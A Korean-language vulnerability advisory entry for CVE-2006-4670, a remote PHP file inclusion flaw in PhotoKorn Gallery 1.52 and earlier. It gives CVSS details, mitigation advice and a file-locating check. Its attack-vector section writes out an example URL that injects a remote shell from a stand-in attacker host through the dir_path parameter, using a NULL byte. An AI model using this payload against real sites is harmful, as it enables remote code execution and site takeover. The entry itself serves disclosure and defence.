🔍 CVE-2006-4670

7.5
CVSS Score
HIGH
2006-09-09
2026-04-16 00:27
✅ 완료

🇰🇷 한글 설명

PhotoKorn Gallery 1.52 이하 버전에서 dir_path 매개변수를 통해 원격 PHP 파일 포함(RFI) 취약점이 존재합니다. 공격자는 이를 악용하여 임의의 PHP 코드를 실행할 수 있으며, includes/cart.inc.php 및 extras/ext_cats.php 파일이 영향을 받습니다.

💡 쉬운 설명

PhotoKorn Gallery라는 사진 갤러리 프로그램의 오래된 버전에서, 공격자가 악의적인 코드가 포함된 파일의 위치를 입력해 원격 서버에서 악성 PHP 코드를 실행할 수 있습니다. 이를 통해 웹사이트를 완전히 제어당할 수 있습니다.

🇺🇸 원문 (English)

Multiple PHP remote file inclusion vulnerabilities in PhotoKorn Gallery 1.52 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the dir_path parameter in (1) includes/cart.inc.php or (2) extras/ext_cats.php.

📍 영향받는 시스템

PhotoKorn Gallery 1.52 및 그 이하 버전

⚔️ 공격 벡터

http://target/path/includes/cart.inc.php?dir_path=http://attacker.com/shell.php%00 형태의 NULL byte injection을 통한 원격 PHP 파일 포함

🛡️ 대응 방법

PhotoKorn Gallery를 1.53 이상 버전으로 업그레이드하거나 개발이 중단된 경우 다른 갤러리 솔루션으로 마이그레이션

🔧 검증 코드

결과가 나타나면 PhotoKorn Gallery가 설치되어 있으며, 파일 경로를 확인 후 설치된 버전을 파악하여 1.52 이하인지 확인

Shell / Script
find / -name 'cart.inc.php' -o -name 'ext_cats.php' 2>/dev/null | head -5

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP